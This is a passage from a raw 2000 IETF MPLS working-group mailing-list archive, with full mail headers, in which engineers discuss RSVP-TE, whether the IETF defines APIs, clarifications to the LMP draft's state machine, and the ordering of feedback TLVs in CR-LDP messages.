(cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA28756 for ; Mon, 6 Nov 2000 10:44:39 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjodq14646; Mon, 6 Nov 2000 15:39:01 GMT Received: by mail-control.mail.uu.net id QQjodq23833 for mpls-outgoing; Mon, 6 Nov 2000 15:38:18 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjodq23765 for ; Mon, 6 Nov 2000 15:38:05 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjodq13024 for ; Mon, 6 Nov 2000 15:37:34 GMT Received: from workhorse.fictitious.org by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: workhorse.fictitious.org [209.66.129.230]) id QQjodq12473 for ; Mon, 6 Nov 2000 15:37:33 GMT Received: from workhorse.fictitious.org (localhost.fictitious.org [127.0.0.1]) by workhorse.fictitious.org (8.9.3/8.9.3) with ESMTP id KAA57847; Mon, 6 Nov 2000 10:30:09 -0500 (EST) (envelope-from curtis@workhorse.fictitious.org) Message-Id: <200011061530.KAA57847@workhorse.fictitious.org> To: Shen Gangxiang cc: Gaitonde Anandprasanna , mpls@UU.NET Reply-To: curtis@avici.com Subject: Re: Qestion In-reply-to: Your message of "Sat, 04 Nov 2000 17:07:27 +0800." <9985F17605D2D21192D80008C75DE4BE03950A7E@exchange4.ntu.edu.sg> Date: Mon, 06 Nov 2000 10:30:09 -0500 From: Curtis Villamizar Sender: owner-mpls@UU.NET Precedence: bulk In message <9985F17605D2D21192D80008C75DE4BE03950A7E@exchange4.ntu.edu.sg>, She n Gangxiang writes: > Hi, GA, > > I don't think it is necessary to explicitly point out whether the message is > RSVP or RSVP-TE. Since RSVP-TE is an extension of RSVP, if a LSR can support > RSVP-TE, it can definitely support RSVP. In fact, during dealing with those > messages, a LSR can use the information whether there are some extended > objects such as Label Request, ER, Record Route in a message to implicitly > identify whether it is a RSVP-TE message. > > If there is something missed, please kindly point out. Thanks! > > Gangxiang Most (or all) core routers that run RSVP-TE have per microflow RSVP explicitly disabled for scaling reasons if it is implemented by the router. In many cases per micrflow RSVP is not implemented by the router so it can't be turned on. Curtis ps- This is not a RSVP chat group. This is a IETF WG mailing list were we are supposed to be discussing work on the protocols, not answering newbie queestions (an occasional question after researching and not finding something is fine). [This is not directed at Gangxiang, since he was just answering someone's question.] From owner-mpls@UU.NET Mon Nov 6 10:59:23 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA03832 for ; Mon, 6 Nov 2000 10:59:23 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjodr07596; Mon, 6 Nov 2000 15:59:01 GMT Received: by mail-control.mail.uu.net id QQjodr25844 for mpls-outgoing; Mon, 6 Nov 2000 15:58:21 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjodr25838 for ; Mon, 6 Nov 2000 15:58:06 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjodr28230 for ; Mon, 6 Nov 2000 15:57:15 GMT Received: from workhorse.fictitious.org by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: workhorse.fictitious.org [209.66.129.230]) id QQjodr09071 for ; Mon, 6 Nov 2000 15:57:13 GMT Received: from workhorse.fictitious.org (localhost.fictitious.org [127.0.0.1]) by workhorse.fictitious.org (8.9.3/8.9.3) with ESMTP id KAA58275; Mon, 6 Nov 2000 10:52:12 -0500 (EST) (envelope-from curtis@workhorse.fictitious.org) Message-Id: <200011061552.KAA58275@workhorse.fictitious.org> To: Gaitonde Anandprasanna cc: David Charlap , mpls@UU.NET Reply-To: curtis@avici.com Subject: Re: API In-reply-to: Your message of "Mon, 06 Nov 2000 21:04:59 +0530." Date: Mon, 06 Nov 2000 10:52:12 -0500 From: Curtis Villamizar Sender: owner-mpls@UU.NET Precedence: bulk In message , Gaitonde Anandprasanna writes: > > > Yes sir, > > thats right. Setting up of LSP is from router to router only. But lets > say that a person is operating on a ingress router, and he wants to setup > an LSP to an egress router. Shouldnt there be a command line interface for > him to specify a command to setup an LSP. (This would mean we have to > think of enhancing the API of RSVP. > > Please let me know > > Thanx in advance > > Pras The IETF never specifies APIs or user level command interfaces. This applies to all IETF standards work not just MPLS. Please familiarize yourself better with the IETF and the work of this WG before bothering the WG further. Curtis From owner-mpls@UU.NET Mon Nov 6 10:59:40 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA03947 for ; Mon, 6 Nov 2000 10:59:40 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjodr02579; Mon, 6 Nov 2000 15:58:45 GMT Received: by mail-control.mail.uu.net id QQjodr25834 for mpls-outgoing; Mon, 6 Nov 2000 15:58:00 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjodr25829 for ; Mon, 6 Nov 2000 15:57:53 GMT Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjodr15387 for ; Mon, 6 Nov 2000 15:57:42 GMT Received: from mailgate.pit.comms.marconi.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6]) id QQjodr01216 for ; Mon, 6 Nov 2000 15:57:42 GMT Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA28104 for ; Mon, 6 Nov 2000 10:57:34 -0500 (EST) Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA08100 for ; Mon, 6 Nov 2000 10:57:36 -0500 (EST) Message-ID: <3A06D528.957A366E@marconi.com> Date: Mon, 06 Nov 2000 10:58:32 -0500 From: David Charlap X-Mailer: Mozilla 4.73 [en] (WinNT; U) X-Accept-Language: en-US,en-GB,en MIME-Version: 1.0 To: mpls@UU.NET Subject: Re: API References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Gaitonde Anandprasanna wrote: > > thats right. Setting up of LSP is from router to router only. Then there's no need for an application-level API. The interfaces that the router already has for configuring everything else (command line, SNMP, whatever) are sufficient. > But lets say that a person is operating on a ingress router, and he > wants to setup an LSP to an egress router. Shouldnt there be a command > line interface for him to specify a command to setup an LSP. Every vendor has interfaces for setting up LSPs. And these interfaces are usually tied directly to the protocol implementations on the switch. Since users will never be installing their own UI code into switches, there's no need for a generalized API. There is certainly no need for a standardized cross-platform API. If you are developing an MPLS suite and need a user interface, go invent one. If your company already has an established UI, then go add some MPLS/RSVP commands to it. If you think all switches from all vendors should have identical user interfaces, keep on dreaming - it ain't never gonna happen. -- David From owner-mpls@UU.NET Mon Nov 6 12:20:12 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA00648 for ; Mon, 6 Nov 2000 12:20:07 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjodx18383; Mon, 6 Nov 2000 17:19:15 GMT Received: by mail-control.mail.uu.net id QQjodx26996 for mpls-outgoing; Mon, 6 Nov 2000 17:18:37 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjodx26990 for ; Mon, 6 Nov 2000 17:18:34 GMT Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjodx26420 for ; Mon, 6 Nov 2000 17:17:42 GMT Received: from prue.eim.surrey.ac.uk by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: prue.eim.surrey.ac.uk [131.227.76.5]) id QQjodx16291 for ; Mon, 6 Nov 2000 17:17:41 GMT Received: from regan.ee.surrey.ac.uk ([131.227.89.11]) by prue.eim.surrey.ac.uk with esmtp (Exim 3.16 #1) id 13sptX-0006wy-00; Mon, 06 Nov 2000 17:17:19 +0000 Date: Mon, 6 Nov 2000 17:17:18 +0000 (GMT) From: Lloyd Wood X-Sender: eep1lw@regan.ee.surrey.ac.uk Reply-To: L.Wood@eim.surrey.ac.uk To: curtis@avici.com cc: Gaitonde Anandprasanna , David Charlap , mpls@UU.NET Subject: Re: API In-Reply-To: <200011061552.KAA58275@workhorse.fictitious.org> Message-ID: Organization: speaking for none X-url: http://www.ee.surrey.ac.uk/Personal/L.Wood/ X-no-archive: yes MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-mpls@UU.NET Precedence: bulk On Mon, 6 Nov 2000, Curtis Villamizar wrote: > > The IETF never specifies APIs or user level command interfaces. This > applies to all IETF standards work not just MPLS. RFC 2025. RFC 2744. RFC 2853... > Please familiarize > yourself better with the IETF and the work of this WG before bothering > the WG further. twit. L. PGP From owner-mpls@UU.NET Mon Nov 6 15:38:41 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA20299 for ; Mon, 6 Nov 2000 15:38:41 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjoek02535; Mon, 6 Nov 2000 20:38:06 GMT Received: by mail-control.mail.uu.net id QQjoek27511 for mpls-outgoing; Mon, 6 Nov 2000 20:37:44 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjoek27505 for ; Mon, 6 Nov 2000 20:37:42 GMT Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjoek12118 for ; Mon, 6 Nov 2000 20:37:31 GMT Received: from pilgrim.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjoek01687 for ; Mon, 6 Nov 2000 20:37:30 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id PAA13611 for mpls@uu.net; Mon, 6 Nov 2000 15:37:29 -0500 (EST) Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjoek27472 for ; Mon, 6 Nov 2000 20:37:10 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjoek15153 for ; Mon, 6 Nov 2000 20:36:10 GMT Received: from xover.hjinc.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [38.160.241.130]) id QQjoek00116 for ; Mon, 6 Nov 2000 20:36:10 GMT Received: by xover.hjinc.com with Internet Mail Service (5.5.2650.21) id ; Mon, 6 Nov 2000 15:34:25 -0500 Message-ID: <87009604743AD411B1F600508BA0F95914B3A0@xover.hjinc.com> From: "Bui, Khanh" To: mpls@UU.NET Subject: draft-ietf-mpls-te-feed-01.txt Date: Mon, 6 Nov 2000 15:34:19 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk Hello, Would someone please clarify the recommended order of the feedback TLVs included in a CR-LDP message as quoted from section 2 "Adding feedback TLVs to CR-LDP": "Two new TLVs are optionally added to the CR-LDP mapping, notification, and withdraw messages. There may be an arbitrary number of these TLV in any order or position in the message. It is recommended that they be placed such that they can be read and applied to override the topology database by scanning the message forwards and walking the topology database from the point where the last link feedback TLV left off." Specifically, what does the phrase "where the last link feedback TLV left off" mean ? Thanks, Khanh From owner-mpls@UU.NET Mon Nov 6 16:18:27 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA01136 for ; Mon, 6 Nov 2000 16:18:27 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjoen17466; Mon, 6 Nov 2000 21:17:43 GMT Received: by mail-control.mail.uu.net id QQjoen11746 for mpls-outgoing; Mon, 6 Nov 2000 21:17:25 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjoen11741 for ; Mon, 6 Nov 2000 21:17:21 GMT Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjoen12418 for ; Mon, 6 Nov 2000 21:16:30 GMT Received: from lux.chromisys.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: 193.140.adsl6.netlojix.net [207.71.200.140] (may be forged)) id QQjoen13857 for ; Mon, 6 Nov 2000 21:16:29 GMT Received: by lux.chromisys.com with Internet Mail Service (5.5.2650.21) id ; Mon, 6 Nov 2000 13:16:29 -0800 Message-ID: <51DA0AB3D747D311832F005004827CC02CEF3C@lux.chromisys.com> From: Jonathan Lang To: "'manis@future.futsoft.com'" Cc: mpls@UU.NET Subject: RE: "draft-ietf-mpls-lmp-00.txt" - Doubts. Date: Mon, 6 Nov 2000 13:16:27 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk Mani, Please see in-line comments. Sorry for the delay as I've been out of town. Thanks, Jonathan > -----Original Message----- > From: Manikantan S [mailto:manis@future.futsoft.com] > Sent: Friday, November 03, 2000 6:06 AM > To: Jonathan Lang > Cc: mpls@uu.net > Subject: "draft-ietf-mpls-lmp-00.txt" - Doubts. > > > Hello Jonathan > > I read the draft "draft-ietf-mpls-lmp-00.txt". > > I have a few doubts, (forgive me if I sound stupid) can you > please clarify > them. Thanks. > > 1) My understanding is that > - LMP is for taking care of uni directional Links. > - The sequence of BeginVerify Message to the Test messages > is associated with a set of links. correct. > > a) When indicated as unidirectional, I assume that the > Upstream node should initiate the > sequence. How does an LSR know that is an upstream for > a Link? (Please indicate if I am missing something). upstream node is on the transmit side of a unidirectional link. > b) Will there be a possibility of both the upstream LSR and the > downstream LSR initiate the > BeginVerify ... Test message sequence for a set of link > at the same time? i.e. will there > be a Race condition? If so how should this be handled? There will not be any race conditions for the Test procedure as Test messages go in one direction, from transmitter to receiver. > > 2) In Section 8.1, we have the FSM and the following for the > HelloConfigNack, > > | 0 | 1 | 2 | > -----------------------------|-----|-----|-----| > | | | | > Receive HelloConfigNack | - | 0 | 2b,d| > | | | | > > a) In state 1, when a HelloConfigNack is received from the > Neighbor, > there can be two > conditions. > I) The Hello parameters sent by the Neighbor in NACK message is > acceptable locally and > hence a new hello message should be generated. If > so then the FSM > will have value 1a > > ii) The Hello parameters sent by the Neighbor in NACK > message is not > acceptable locally and > hence no hello message to be generated. If so then > the FSM will > have value 0. > > b) In state 2, it is currently marked as 2b,d. > I) Can a HelloAck be generated when a NACK is received? > I think the conditions mentioned in above question a) will be > applicable in this > state 2. > (a) was pointed out in a private email by someone else. The following modification has been made to the FSM: Receive HelloConfigNack with | - | 1a | 2d | agreeable parameters | | | | | | | | Receive HelloConfigNack with | - | 0 | - | unacceptable parameters | | | | > > 3) In Section 9.4.8 it has been stated that > " The TestStatusFailure message is transmitted over the control > channel and is used to indicate that the Test message was not > received. " > How can we know that the Test message was not received? As part of the Test procedure (BeginVerifyAck message) there is a VerifyDeadInterval that is used to timeout when looking for a Test message. > > 4) In Section 9.6.3 Explanation as "NumChannelFail" is > present. This is > absent in the > "ChannelFailNack" message? Is this a typo? Correct, it's a typo. NumChannelFail should not be present. > > Why do we need two messages "ChannelFailAck" and "ChanelFailNack" > message?. We can provide > both the "clear" and "failed" channel information in a > single message, > similar to the > LinkSummary messages. Thanks. We are currently looking into this. > > Thanks in advance > with best regards > mani > > > From owner-mpls@UU.NET Mon Nov 6 17:32:58 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA27628 for ; Mon, 6 Nov 2000 17:32:57 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjoer27117; Mon, 6 Nov 2000 22:19:01 GMT Received: by mail-control.mail.uu.net id QQjoer00860 for mpls-outgoing; Mon, 6 Nov 2000 22:18:25 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjoer00829 for ; Mon, 6 Nov 2000 22:18:17 GMT Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjoer01744 for ; Mon, 6 Nov 2000 22:18:11 GMT Received: from ertpg14e1.nortelnetworks.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: ertpg14e1.nortelnetworks.com [47.234.0.35]) id QQjoer05407 for ; Mon, 6 Nov 2000 22:18:10 GMT Received: from zrtpd004.us.nortel.com (actually zrtpd004) by ertpg14e1.nortelnetworks.com; Mon, 6 Nov 2000 16:44:36 -0500 Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2652.35) id ; Mon, 6 Nov 2000 16:44:34 -0500 Message-ID: <03E3E0690542D211A1490000F80836F4029F9901@zcard00f.ca.nortel.com> From: "Peter Ashwood-Smith" To: mpls@UU.NET Subject: RE: draft-ietf-mpls-te-feed-01.txt Date: Mon, 6 Nov 2000 16:44:30 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2652.35) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C0483A.BE951C00" Sender: owner-mpls@UU.NET Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C0483A.BE951C00 Content-Type: text/plain; charset="iso-8859-1" Hmmm, You are right it is confusing. I must have not had enough coffee that morning. Let me see if I can clarify it for you. The point I was trying to make is that there are performance advantages to keeping the feedback values in order. For example if my feedback list for the path A->B->C->D looks like this: (A,B,Stuff1) (B,C,Stuff2) (C,D,Stuff3) Then I can possibly walk the list and my database structure simultaneously without having to start the search from the root of some search tree every time. For example after applying the (A,B,Stuf1) value to the database, when you apply (B,C,Stuff2) to the database, you already have your pointers to 'B" so the search is presumably much faster. On the other hand, if the feedback came in the order: (A,B,Stuff1) (C,D,Stuff3) (B,C,Stuff2) Then I have to look from scratch for each link in the database without being able to take advantage of where I previously was. Obviously that's going to be slower in many implementations. Now, I could have written the draft to specify the vector as (A,Stuff)(B,Stuff)(C,Stuff) and REQUIRED them to be sorted but that would have made it impossible to skip feedback for certain links. Hope this helps and sorry my wordy description confused you. Cheers, Peter Ashwood-Smith P.S. please, I don't want 20 emails saying not to apply the feedback data to the topology database ... I simply said database, its up to you where you store the data as long as you use it for interim route computations but don't re-flood it, I'm happy. -----Original Message----- From: Bui, Khanh [SMTP:kbui@netplane.com] Sent: Monday, November 06, 2000 3:34 PM To: mpls@UU.NET Subject: draft-ietf-mpls-te-feed-01.txt Hello, Would someone please clarify the recommended order of the feedback TLVs included in a CR-LDP message as quoted from section 2 "Adding feedback TLVs to CR-LDP": "Two new TLVs are optionally added to the CR-LDP mapping, notification, and withdraw messages. There may be an arbitrary number of these TLV in any order or position in the message. It is recommended that they be placed such that they can be read and applied to override the topology database by scanning the message forwards and walking the topology database from the point where the last link feedback TLV left off." Specifically, what does the phrase "where the last link feedback TLV left off" mean ? Thanks, Khanh ------_=_NextPart_001_01C0483A.BE951C00 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: draft-ietf-mpls-te-feed-01.txt

Hmmm,
 
     You are = right it is confusing. I must have not had enough coffee that morning. = Let me see if I can clarify it for you.

The point I was trying to make is that = there are performance advantages to keeping the feedback values in = order. For example if my feedback list for the path A->B->C->D = looks like this:

(A,B,Stuff1) (B,C,Stuff2) = (C,D,Stuff3) 

      Then I = can possibly walk the list and my database structure simultaneously = without having to start the search from the root of some search tree = every time. For example after applying the (A,B,Stuf1) value to the = database, when you apply (B,C,Stuff2) to the database, you already have = your pointers to 'B" so the search is presumably much = faster.

     On the other = hand, if the feedback came in the order:

(A,B,Stuff1) (C,D,Stuff3) = (B,C,Stuff2)

      Then I = have to look from scratch for each link in the database without being = able to take advantage of where I previously was. Obviously that's = going to be slower in many implementations.

      Now, I = could have written the draft  to specify the vector as = (A,Stuff)(B,Stuff)(C,Stuff) and REQUIRED them to be sorted but that = would have made it impossible to skip feedback for certain = links.

      Hope = this helps and sorry my wordy description confused you.

     = Cheers,
 
     Peter = Ashwood-Smith

P.S. please, I don't want 20 emails = saying not to apply the feedback data to the topology database ... I = simply said database, its up to you where you store the data as long as = you use it for interim route computations but don't re-flood it,  = I'm happy.

    -----Original = Message-----
    From:   Bui, Khanh = [SMTP:kbui@netplane.com]
    Sent:   Monday, November 06, 2000 3:34 PM
    To:     mpls@UU.NET
    Subject:       = draft-ietf-mpls-te-feed-01.txt

    Hello,

    Would someone please clarify the = recommended order of
    the feedback TLVs included in a = CR-LDP message as quoted
    from section 2 "Adding feedback = TLVs to CR-LDP":

    "Two new TLVs are optionally = added to the CR-LDP mapping,
    notification, and withdraw messages. = There may be an arbitrary
    number of these TLV in any order or = position in the message.
    It is recommended that they be placed = such that they can be
    read and applied to override the = topology database by scanning
    the message forwards and walking the = topology database from
    the point where the last link = feedback TLV left off."

    Specifically, what does the phrase = "where the last link
    feedback TLV left off" mean = ?

    Thanks,
    Khanh

------_=_NextPart_001_01C0483A.BE951C00-- From owner-mpls@UU.NET Mon Nov 6 17:44:40 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA01473 for ; Mon, 6 Nov 2000 17:44:40 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjoes23308; Mon, 6 Nov 2000 22:43:00 GMT Received: by mail-control.mail.uu.net id QQjoes02775 for mpls-outgoing; Mon, 6 Nov 2000 22:42:44 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjoes02770 for ; Mon, 6 Nov 2000 22:42:38 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjoes02658 for ; Mon, 6 Nov 2000 22:42:30 GMT Received: from pilgrim.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjoes22720 for ; Mon, 6 Nov 2000 22:42:30 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id RAA03738 for mpls@uu.net; Mon, 6 Nov 2000 17:42:29 -0500 (EST) Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjoes02757 for ; Mon, 6 Nov 2000 22:41:51 GMT Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjoes13968 for ; Mon, 6 Nov 2000 22:41:49 GMT Received: from xover.hjinc.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [38.160.241.130]) id QQjoes22402 for ; Mon, 6 Nov 2000 22:41:48 GMT Received: by xover.hjinc.com with Internet Mail Service (5.5.2650.21) id ; Mon, 6 Nov 2000 17:40:04 -0500 Message-ID: <87009604743AD411B1F600508BA0F95914B3A3@xover.hjinc.com> From: "Bui, Khanh" To: mpls@UU.NET Subject: RE: draft-ietf-mpls-te-feed-01.txt Date: Mon, 6 Nov 2000 17:40:02 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C04842.806618F0" Sender: owner-mpls@UU.NET Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C04842.806618F0 Content-Type: text/plain; charset="iso-8859-1" Peter, I see your point now. Thank you very much. Khanh -----Original Message----- From: Peter Ashwood-Smith [mailto:petera@nortelnetworks.com] Sent: Monday, November 06, 2000 4:45 PM To: mpls@UU.NET Subject: RE: draft-ietf-mpls-te-feed-01.txt Hmmm, You are right it is confusing. I must have not had enough coffee that morning. Let me see if I can clarify it for you. The point I was trying to make is that there are performance advantages to keeping the feedback values in order. For example if my feedback list for the path A->B->C->D looks like this: (A,B,Stuff1) (B,C,Stuff2) (C,D,Stuff3) Then I can possibly walk the list and my database structure simultaneously without having to start the search from the root of some search tree every time. For example after applying the (A,B,Stuf1) value to the database, when you apply (B,C,Stuff2) to the database, you already have your pointers to 'B" so the search is presumably much faster. On the other hand, if the feedback came in the order: (A,B,Stuff1) (C,D,Stuff3) (B,C,Stuff2) Then I have to look from scratch for each link in the database without being able to take advantage of where I previously was. Obviously that's going to be slower in many implementations. Now, I could have written the draft to specify the vector as (A,Stuff)(B,Stuff)(C,Stuff) and REQUIRED them to be sorted but that would have made it impossible to skip feedback for certain links. Hope this helps and sorry my wordy description confused you. Cheers, Peter Ashwood-Smith P.S. please, I don't want 20 emails saying not to apply the feedback data to the topology database ... I simply said database, its up to you where you store the data as long as you use it for interim route computations but don't re-flood it, I'm happy. BM__MailData-----Original Message----- From: Bui, Khanh [SMTP:kbui@netplane.com] Sent: Monday, November 06, 2000 3:34 PM To: mpls@UU.NET Subject: draft-ietf-mpls-te-feed-01.txt Hello, Would someone please clarify the recommended order of the feedback TLVs included in a CR-LDP message as quoted from section 2 "Adding feedback TLVs to CR-LDP": "Two new TLVs are optionally added to the CR-LDP mapping, notification, and withdraw messages. There may be an arbitrary number of these TLV in any order or position in the message. It is recommended that they be placed such that they can be read and applied to override the topology database by scanning the message forwards and walking the topology database from the point where the last link feedback TLV left off." Specifically, what does the phrase "where the last link feedback TLV left off" mean ? Thanks, Khanh ------_=_NextPart_001_01C04842.806618F0 Content-Type: text/html; charset="iso-8859-1" RE: draft-ietf-mpls-te-feed-01.txt
Peter,
 
I see your point now. Thank you very much.
 
Khanh
-----Original Message-----
From: Peter Ashwood-Smith [mailto:petera@nortelnetworks.com]
Sent: Monday, November 06, 2000 4:45 PM
To: mpls@UU.NET
Subject: RE: draft-ietf-mpls-te-feed-01.txt

Hmmm,
 
     You are right it is confusing. I must have not had enough coffee that morning. Let me see if I can clarify it for you.

The point I was trying to make is that there are performance advantages to keeping the feedback values in order. For example if my feedback list for the path A->B->C->D looks like this:

(A,B,Stuff1) (B,C,Stuff2) (C,D,Stuff3) 

      Then I can possibly walk the list and my database structure simultaneously without having to start the search from the root of some search tree every time. For example after applying the (A,B,Stuf1) value to the database, when you apply (B,C,Stuff2) to the database, you already have your pointers to 'B" so the search is presumably much faster.

     On the other hand, if the feedback came in the order:

(A,B,Stuff1) (C,D,Stuff3) (B,C,Stuff2)

      Then I have to look from scratch for each link in the database without being able to take advantage of where I previously was. Obviously that's going to be slower in many implementations.

      Now, I could have written the draft  to specify the vector as (A,Stuff)(B,Stuff)(C,Stuff) and REQUIRED them to be sorted but that would have made it impossible to skip feedback for certain links.

      Hope this helps and sorry my wordy description confused you.

     Cheers,
 
     Peter Ashwood-Smith

P.S. please, I don't want 20 emails saying not to apply the feedback data to the topology database ... I simply said database, its up to you where you store the data as long as you use it for interim route computations but don't re-flood it,  I'm happy.

    -----Original Message-----
    From:   Bui, Khanh [SMTP:kbui@netplane.com]
    Sent:   Monday, November 06, 2000 3:34 PM
